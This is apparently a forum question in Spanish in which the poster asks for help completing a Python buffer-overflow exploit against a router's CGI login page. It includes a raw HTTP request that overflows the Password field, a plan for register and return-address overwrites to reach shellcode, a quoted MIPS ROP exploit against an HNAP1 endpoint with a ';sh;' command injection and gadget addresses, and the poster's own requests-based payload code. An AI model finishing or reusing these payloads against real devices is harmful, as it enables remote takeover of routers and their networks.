Estoy tratando de desarrollar un exploit en python. pero no soy capaz de escribir un exploit adecuado. A continuación se muestran los escenarios en los que estoy enfrentando un problema.
- a continuación se encuentra la solicitud HTTP que se produce el bloqueo
POST /cgi-bin/index2.asp HTTP/1.1 Host: 192.168.1.x User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.1/cgi-bin/index2.asp Cookie: LoginTimes=1; SESSIONID=boasxxxxxxxxxxxxxxxxxxxxxxxxxxxx; TOKEN=413xxxxxxxxxxxxxxxxxxxx Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 126 Username=admin&Logoff=0&hLoginTimes=1&hLoginTimes_Zero=0&value_one=1&Password1=xsss&Password2=xsss&logintype=usr&Password=AAAAAAAA
-
Ahora se produce un desbordamiento del búfer brcause del campo de contraseña, por lo que es como A * 1024 + registro S0 + S1 + S2 + S3 (aquí quiero poner shellcode) + dirección de retorno (que debería apuntar al código de shell) .
-
Ahora quiero escribir el código de Python que debería verse a continuación
import socket import struct buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="\x2A\xAF\xD0\x84" #S1 -- ROP2 (Pulls Sleep address from S2 which is also stored there before, loads SP+36 is filled in RA with ROP3 and calls Sleep) buf+="\x2A\xB1\x4D\xF0" #S2 -- points to Sleep in library buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 JUNK buf+="\x2A\xB0\xDE\x54" # S6 filled up with pointer to ROP4 which is ultimate mission buf+="AAAA" #s7 JUNK buf+="\x2A\xAC\xAD\x70" # RETN address -- ROP1 (fills a0 with 3 for sleep and s1 is filled before with ROP2 address which buf+="B"*28+"\r\n" + "1\r\n\r\n"
- Y mi código actual se ve como abajo
import requests import os,sys,re import struct url = "http://192.168.1.1:80/cgi-bin/index2.asp" cookies = {"LoginTimes": "1", "SESSIONID": "boasid055206d8b3d40bd82bdad6b693341bc3", "TOKEN": "413ab27aa9b4a94a003e3e9c080ec368"} headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.1/cgi-bin/index2.asp", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"} data={"Username": "admin", "Logoff": "0", "hLoginTimes": "1", "hLoginTimes_Zero": "0", "value_one": "1", "Password1": "xsss", "Password2": "xss", "logintype": "usr", "Password": "AAAA1024 times\x02\xac\x14\xc30AAAA\x02\xac\x14\xc0AAAAAAAAAA\x02\xac\x14\xc0"} requests.post(url, headers=headers, cookies=cookies, data=data)
Así que ahora mi pregunta es cómo puedo enviar data = fileds en el código mencionado en 3. porque en el código mencionado anteriormente hay encabezados HTTP, pero en mis campos de explotaciones hay datos no encabezado. O ¿Cómo puedo enviar una dirección de memoria en el módulo de solicitudes de Python? o ¿cómo puedo enviar datos en código mencionado en 3.
Gracias S3curityB3ast